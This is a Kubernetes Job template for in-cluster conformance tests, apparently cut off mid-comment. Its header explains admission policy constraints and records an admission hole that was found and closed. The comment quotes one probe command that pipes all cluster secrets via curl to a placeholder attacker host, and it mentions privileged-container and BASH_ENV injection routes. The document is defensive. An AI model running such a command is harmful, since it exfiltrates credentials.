# ============================================================================= # In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14) # Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. # # NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a # TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would # create a permanent Job object and fight the trigger for ownership. # # CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig — # only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log). # In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave # the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel. # # ----------------------------------------------------------------------------- # THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY # ----------------------------------------------------------------------------- # platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + # failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits # ONLY: exactly one container on a digest-pinned conformance-runner image, # serviceAccountName conformance-runner, command ["./run.sh"], args drawn from # --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no # host namespaces, non-root with privilege escalation off, and — the constraint that # shapes everything below — NO VOLUMES BUT `workspace` AND `results`. # # So the git credential CANNOT be a projected/secret volume, and the init container # cannot have a scratch volume of its own. Both are solved inside the two allowed names: # * the credential arrives as env vars via secretKeyRef (an env var is not a volume), # BY SECRET NAME ONLY — no token literal ever appears in this file; # * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so # readOnlyRootFilesystem stays true without a third volume and without subPath # mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable # by the non-root runner). # # Verify before changing anything here: # kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ # --resource \ # --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml # and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in # resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. # # ----------------------------------------------------------------------------- # THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29) # ----------------------------------------------------------------------------- # As originally written, the policy read only `spec.template.spec.containers` (rule 1's # pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was # never examined, so the exact escalation the policy exists to stop was reachable one # field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully # compliant: # # * this template with ONLY the init container's args replaced by # `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` # * and (the coordinator's independent reproduction) a `privileged: true` # `docker.io/library/alpine:latest` init container running `kubectl get secrets -A` # # -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED # # `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`. # # Closed by new rules in that policy, authorised by the coordinator in this PR # (the original brief forbade policy edits; that was to stop the boundary being BENT to # fit a Job, not to stop a hole being closed): # * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init # container, on the digest-pinned runner image, `command: # ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation, # not privileged. The clone logic moved OUT of this manifest and into the image for # exactly this reason: a policy cannot vet a shell script passed as `args`, so the # script had to stop being caller-supplied data. It stays reviewable as # conformance/incluster/conformance-clone. # * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same # unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not # verified here, and the rule costs nothing if it is true. # * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env` # was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable # the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash # sources it before running a non-interactive script. Names are allowlisted per container; # VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately # environment-specific, and conformance-runner can already read this namespace's Secrets # through its own RBAC, so pinning the source would buy nothing). # # Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ — # `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`, # `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`, # `envfrom-whole-secret` — so they stay failing. # # THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the # committed shape" policy is only as good as its enumeration of every field that can carry # executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and # `env` were not. Before adding a field to this Job, ask which rule reads it — and if none # does, that is the finding, not an oversight to work around. # # The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed # on a mismatch rather than honoured) for exactly this reason. Do not move it into env. # # Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is # supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. # # ----------------------------------------------------------------------------- # WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` # ----------------------------------------------------------------------------- # The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by # `envsubst`, which has no way to tell a token meant for rendering from a shell reference # that belongs to a script — a trap this file walked into while the clone logic was still an # inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a # rendered manifest is trivially greppable as "the trigger forgot to render this". Render # with a two-token sed, nothing cleverer: # # sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ # -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml # # @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image. # Only the DIGEST is substituted — the registry path and the `@sha256:` pinning # are committed literals, so the substitution cannot repoint the image at another # repository, and the template still satisfies the policy's image pattern before # rendering. An unsubstituted digest fails as ImagePullBackOff, loudly. # @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container # REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder # or an injected value is a hard failure, never a run of the wrong tree. # # `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per # invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this # file be handed to `kyverno apply` as-is. # # ----------------------------------------------------------------------------- # WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3 # ----------------------------------------------------------------------------- # The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT # ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a # cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not # offline-only, and those stages need exactly those missing tools. Tracing run.sh: # # requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all; # offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/. # # so: # ["--layer","l2,l3"] -> offline selection EMPTY. RUNS. # ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS. # ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO # layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS. # ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that # requirement's L0/L1 tests into the run. FAILS on the missing toolchain. # ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS. # # The first three are measured working by the image build (PR #18); the last two are measured # failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a # full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone. # The committed default below is the narrowest shape that works. # # The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a # security boundary should not encode which toolchain an image happens to ship, and the failure # mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This # comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land. # # ----------------------------------------------------------------------------- # RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable # ----------------------------------------------------------------------------- # `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the # suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when # CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints: # # === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === # # === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === # # The BEGIN and END headers are byte-identical and both carry the size, the base64 line # count and the sha256. A collector that checks all four (one BEGIN, one END, headers # equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a # complete artifact set — which a bare blob would, because base64 decodes a truncated # stream to plausible garbage without complaint. See the block comment above # conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations. # # `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the # transport is the pod's log, so the Job must finish while that log still exists. # ============================================================================= apiVersion: batch/v1 kind: Job metadata: generateName: conformance-run- namespace: conformance labels: app.kubernetes.io/part-of: conformance spec: backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry # A retry would also re-emit the artifact envelope, giving the collector two BEGIN # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true. ttlSecondsAfterFinished: 3600 activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate template: metadata: labels: app.kubernetes.io/part-of: conformance spec: serviceAccountName: conformance-runner # scoped test identity (rbac.yaml) restartPolicy: Never securityContext: # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true` # alone only *rejects* a root image, it does not choose a uid, and the runner image # is built by a separate task (plan §5 step 1). 65532 is the conventional # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both # emptyDirs group-writable for that uid. runAsNonRoot: true runAsUser: 65532 runAsGroup: 65532 fsGroup: 65532 seccompProfile: { type: RuntimeDefault } initContainers: # --------------------------------------------------------------------- # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. # # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at # conformance/incluster/conformance-clone and is baked into the runner image at # /usr/local/bin/conformance-clone. That is what makes the init container # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` + # `args: [